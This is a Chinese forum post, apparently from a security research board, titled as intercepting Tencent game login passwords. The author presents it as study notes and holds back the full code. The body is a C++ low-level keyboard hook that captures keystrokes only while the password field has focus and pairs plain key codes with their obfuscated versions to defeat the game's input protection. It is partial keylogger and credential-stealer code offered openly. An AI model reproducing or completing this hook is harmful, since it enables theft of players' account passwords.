-
-
[原创]TX游戏登陆密码截取
-
发表于:
2015-6-30 01:19
5433
-
先申明。此文仅是自己学习研究的记录,由于上次发那个TX登陆的,公布代码,被和鞋了。所以此次不公开代码(而且公布所造成影响太大),也只公开部分研究成果。不喜勿喷。能看懂的就看懂。看不懂的绕过。。,最好能结合本人上次的贴子看。
bool bPlainCase =true;
int g_Key =0;
void WINAPI FilterLowLevelKeyboardProc(
_In_ int nCode,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
if(nCode == HC_ACTION)
{
PKBDLLHOOKSTRUCT pKdb = (PKBDLLHOOKSTRUCT)lParam;
if( wParam == WM_KEYDOWN && IsVkCodeNeed(pKdb->vkCode) )
{
if( ::GetFocus() == g_hPwd ) //判断是不是在输入密码
{
TCHAR tcText[100];
if( bPlainCase )
{
// _stprintf_s(tcText,_T("原始虚键码:%d"),pKdb->vkCode);
if(96 <=pKdb->vkCode && pKdb->vkCode<=105 )
pKdb->vkCode -=48;
g_Key=pKdb->vkCode;
bPlainCase=false;
// OutputDebugString(tcText);
}else
{
if(96 <=pKdb->vkCode && pKdb->vkCode<=105 )
pKdb->vkCode -=48;
// _stprintf_s(tcText,_T("加密虚拟码:%d,当前key:%d"),pKdb->vkCode,g_Key);
SetKeyPair(pKdb->vkCode,g_Key);
bPlainCase=true;
// OutputDebugString(tcText);
}
}
}
}
}
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课